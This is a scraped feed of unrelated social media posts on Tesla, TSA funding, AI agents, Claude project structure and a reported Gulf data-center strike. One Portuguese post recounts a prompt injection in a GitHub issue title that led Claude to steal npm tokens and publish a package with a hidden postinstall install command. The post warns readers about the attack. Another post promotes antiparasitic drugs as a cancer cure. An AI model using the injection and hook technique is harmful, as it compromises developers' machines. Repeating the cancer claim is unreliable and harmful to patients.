Victor Quiñones

@elonmusk Can we replace them with something better? Model 3 is not adequate.

Custom orders of the Tesla Model S & X have come to an end. All that’s left are some in inventory. We will have an official ceremony to mark the ending of an era. I love those cars. This was me at production launch 14 years ago:

🚨 IT'S OFFICIAL: After Delta Airlines canceled ALL special privileges for members of Congress while TSA is unpaid, other airlines nationwide are being pressured to follow suit This is common sense. Treat them the same as us! ALL airlines should do this!

1,000,000 token context window is nice. Thanks @claudeai @GeminiApp

@AlexFinn no. tried it and promptly deleted it... oh wait, i cannot delete it. it is part of the claude.ai fungus app 😂

Massive move from Claude Claude can now control your entire computer. Just tested and it actually works really well. Definitely will use it regularly Does this kill OpenClaw? Well…no for many reasons. It’s still in Anthropic’s closed garden. The future is open and model agnostic For instance on my 2nd computer I have a local version of Qwen 3.5 running. It continuously scans specific websites for business opportunities (for free) 24/7/365 If I wanted to make changes to this automation, I would send a message to my OpenClaw on Telegram. It would then SSH into my DGX Spark, download a new local model if it needs to, load it into memory, then use it as a tool whenever it wants to do a scan. If it doesn’t know how to do any step here, it’ll create its own skill This will never be possible with Claude. You simply will never be able to leverage other models when necessary that complete tasks the Claude line can’t do. (And obviously you’ll never be able to do anything locally) Also for reasons I 100% understand, there are guardrails all over Claude that would make it difficult to complete most of those tasks (a lot of what I described introduces a ton of security risks) Claude is still awesome though. Claude Code is still an amazing, if not the best way to write code. Adding these computer use tools into Claude Code makes it an even more compelling product I’m a daily Claude Code user and think EVERYONE should be including it in their daily routine But it’s simply not a general purpose, open, customizable, self improving agent I would use Claude over OpenClaw if: • You have no interest in tinkering with or customizing your AI agent • Are paying for the $200 a month Max plan and have no interest in using other AI models • If your entire workflow is at the computer (still find the remote/telegram Claude stuff unreliable at the moment) But if you think this is a replacement for OpenClaw I think it proves you don’t even really know what OpenClaw is, let alone have ever used it If I’m you I’m muting/blocking every engagement farmer who will quote the post below with “OPENCLAW IS DEAD” and then put some cringe reaction gif of John Hamm dancing or Ryan gosling slowly taking his sunglasses off since I guess those reaction videos are now an algo hack.

This is potentially the biggest news of the year Google just released TurboQuant. An algorithm that makes LLM’s smaller and faster, without losing quality Meaning that 16gb Mac Mini now can run INCREDIBLE AI models. Completely locally, free, and secure This also means: • Much larger context windows possible with way less slowdown and degradation • You’ll be able to run high quality AI on your phone • Speed and quality up. Prices down. The people who made fun of you for buying a Mac Mini now have major egg on their face. This pushes all of AI forward in a such a MASSIVE way It can’t be stated enough: props to Google for releasing this for all. They could have gatekept it for themselves like I imagine a lot of other big AI labs would have. They didn’t. They decided to advance humanity. 2026 is going to be the biggest year in human history.

@elonmusk @xai Welcome aboard, sir.

Welcome to @xAI and 𝕏, Benji!

Exciting

Are @Ubiquiti Routers Banned? Here's Everything We Know About the FCC Router Ban on Foreign Routers The FCC recently dropped a bombshell announcement ordering a ban on the import of new foreign-produced consumer wireless routers citing national security concerns. If you use Ubiquiti, Netgear, or TP-Link, you need to watch this. 🛑 I’m breaking down the official government documents and NIST standards to explain what this means for your home lab and business networks. We’ll look at the "Grandfather Clause," the specific criteria that define a "consumer router"

I would like to offer to pay the salaries of TSA personnel during this funding impasse that is negatively affecting the lives of so many Americans at airports throughout the country

BREAKING NEWS: First-in-the-World IVERMECTIN, Mebendazole and Fenbendazole Protocol for CANCER has been peer-reviewed and published! I am seeing our paper everywhere recently, the NEWS is spreading! 😃 BIG PHARMA attacked our Fenbendazole paper on three Stage 4 Cancer patients who are now Cancer Free, but it will be resubmitted and published soon! I have been attacked recently by Canadian authorities for my revolutionary Cancer research and work, but... a NEW FLORIDA CANCER CLINIC is coming soon!🙏 Thank you all for your ongoing support!! 😃 God Bless you all and God bless those who are fighting Cancer...

Um hacker simplesmente hackeou o @cline e instalou o OpenClaw em 4.000 computadores com prompt injection 🫠 Olha que loucura: - O time do Cline criou um workflow de triagem de issues automatizado no GitHub, usando o próprio Claude pra ler e categorizar os tickets - O hacker abriu uma issue com um prompt injection no título — o Claude leu, achou que era uma instrução legítima, e executou - Com isso, ele encheu o cache do GitHub com lixo até forçar a deleção dos caches legítimos de build, substituiu por caches envenenados, e roubou os tokens de publicação do npm - Com os tokens em mãos, ele publicou uma nova versão do cline que parecia idêntica a anterior, só que com uma linhazinha a mais no package.json: "postinstall": "npm install -g openclaw@latest" Resultado: 4,000 devs instalaram o openclaw nas suas máquinas sem saber (aka: um agente com acesso total ao seu computador) 🥲 Muito importante lembrar que IAs não têm malícia e por isso prompt injections são, na minha opinião, a maior vulnerabilidade delas. Resumindo galera: CUIDADO. quem quiser ler na íntegra: thehackernews.com/2026/02/cline-…

@iyoushetwt Whatever I can run offline from my servers :)

Be honest, which AI do you trust more?

@mattshumer_ Noticeably but confidently 🤠

Hate to be this guy, but is anyone else finding that GPT-5.4 feels noticeably dumber today?

🙏🏼🙏🏼🙏🏼

BREAKING: Iran just struck Microsoft data centers in the Gulf. Not Amazon. Not a generic cloud provider. Microsoft — whose Azure platform runs the operational backbone of NATO, the US Department of Defense, and every major Western financial institution that has expanded into the Gulf over the last five years. This is categorically different from the AWS strikes earlier in the war. Microsoft Azure is not simply a commercial cloud product. It is a defense-grade infrastructure platform operating under FedRAMP High and DoD Impact Level 5 and 6 authorizations, the highest security classifications available to a commercial provider. Azure GovCloud runs classified US government workloads. Azure for Operators runs 5G military communications infrastructure. The Gulf Azure availability zones, built under billions of dollars of sovereign cloud commitments to UAE, Saudi Arabia, and Qatar, sit at the intersection of commercial enterprise and military-adjacent operations in a way no other cloud platform does. When Iran fires missiles at Microsoft data centers in the Gulf, it is not attacking a commercial storage facility. It is attacking the digital connective tissue between American defense architecture and Gulf sovereign AI ambitions. The mechanism Iran is applying across every domain of this war is now operating at the infrastructure layer of the global digital economy. Hormuz for maritime insurance. BAPCO and Ras Tanura for oil infrastructure insurance. Manama hotels for corporate presence insurance. AWS for basic cloud insurability. Microsoft for the tier of cloud infrastructure that carries defense-adjacent and government workloads. Each successive target has moved one layer deeper into the critical infrastructure stack. Microsoft has not yet confirmed the extent of damage or the impact on service continuity. That silence is itself data. When AWS facilities were struck earlier in the war, the company posted status updates within hours. The Microsoft situation is being handled with a different communication posture, which is consistent with facilities that carry sovereign and defense-adjacent contractual obligations that restrict what can be publicly disclosed about operational status. The Gulf was supposed to be the proving ground for the sovereign AI thesis. Every major hyperscaler made the bet simultaneously: Gulf governments want their data onshore, under their own regulatory frameworks, close to their own populations, contributing to their own AI capability development. Microsoft, Google, AWS, Oracle, all committed multi-billion dollar buildouts to that thesis in the last three years. The thesis assumed physical security. The thesis assumed the Gulf was a stable operating environment for long-term digital infrastructure. That assumption was always geopolitically contingent. It is now empirically falsified. Every CTO and every procurement officer running a sovereign cloud negotiation anywhere in the world is looking at the Microsoft strike footage right now and running the same calculation: if the Gulf is a ballistic missile target range, where does the sovereign AI buildout go instead? Iran cannot win this war militarily. But it is methodically repricing every assumption the American-aligned economic order made about the Gulf as a safe jurisdiction for permanent infrastructure. The missiles hitting Microsoft data centers today are not attacking cloud storage. They are attacking the confidence interval on a decade of digital infrastructure investment. open.substack.com/pub/shanakaans…

@BharukaShraddha Great advice. How would also apply these concepts to AGENTS.md and others.md

Most people treat CLAUDE.md like a prompt file. That’s the mistake. If you want Claude Code to feel like a senior engineer living inside your repo, your project needs structure. Claude needs 4 things at all times: • the why → what the system does • the map → where things live • the rules → what’s allowed / not allowed • the workflows → how work gets done I call this: The Anatomy of a Claude Code Project 👇 ━━━━━━━━━━━━━━━ 1️⃣ CLAUDE.md = Repo Memory (keep it short) This is the north star file. Not a knowledge dump. Just: • Purpose (WHY) • Repo map (WHAT) • Rules + commands (HOW) If it gets too long, the model starts missing important context. ━━━━━━━━━━━━━━━ 2️⃣ .claude/skills/ = Reusable Expert Modes Stop rewriting instructions. Turn common workflows into skills: • code review checklist • refactor playbook • release procedure • debugging flow Result: Consistency across sessions and teammates. ━━━━━━━━━━━━━━━ 3️⃣ .claude/hooks/ = Guardrails Models forget. Hooks don’t. Use them for things that must be deterministic: • run formatter after edits • run tests on core changes • block unsafe directories (auth, billing, migrations) ━━━━━━━━━━━━━━━ 4️⃣ docs/ = Progressive Context Don’t bloat prompts. Claude just needs to know where truth lives: • architecture overview • ADRs (engineering decisions) • operational runbooks ━━━━━━━━━━━━━━━ 5️⃣ Local CLAUDE.md for risky modules Put small files near sharp edges: src/auth/CLAUDE.md src/persistence/CLAUDE.md infra/CLAUDE.md Now Claude sees the gotchas exactly when it works there. ━━━━━━━━━━━━━━━ Prompting is temporary. Structure is permanent. When your repo is organized this way, Claude stops behaving like a chatbot… …and starts acting like a project-native engineer.

Dario Amodei says he is sorry, per the Economist.

@AppleSupport the new iOS seems to be pretty buggy and unstable Keeps locking randomly. It will lock up when I’m trying to utilize the keyboard so I’m having to dictate this message to you right now.

In all the good movies 🍿 It is a software engineer that saves the world from the killer robots 🤖 x.com/milkroadai/sta…

Prompt engineering is dead. Anthropic recently released the real playbook for building AI agents that actually work. It’s a 30+ page deep dive called The Complete Guide to Building Skills for Claude and it quietly shifts the conversation from “prompt engineering” to real execution design. Here’s the big idea: A Skill isn’t just a prompt. It’s a structured system. You package instructions inside a SKILL .md file, optionally add scripts, references, and assets, and teach Claude a repeatable workflow once instead of re-explaining it every chat. But the real unlock is something they call progressive disclosure. Instead of dumping everything into context: • A lightweight YAML frontmatter tells Claude when to use the skill • Full instructions load only when relevant • Extra files are accessed only if needed Less context bloat. More precision. They also introduce a powerful analogy: MCP gives Claude the kitchen. Skills give it the recipe. Without skills: users connect tools and don’t know what to do next. With skills: workflows trigger automatically, best practices are embedded, API calls become consistent. They outline 3 major patterns: 1) Document & asset creation 2) Workflow automation 3) MCP enhancement And they emphasize something most builders ignore: testing. Trigger accuracy. Tool call efficiency. Failure rate. Token usage. This isn’t about clever wording. It’s about designing an execution layer on top of LLMs. Skills work across Claude, Claude Code, and the API. Build once, deploy everywhere. The era of “just write a better prompt” is ending. Anthropic just handed everyone a blueprint for turning chat into infrastructure. Download the guide here: resources.anthropic.com/hubfs/The-Comp…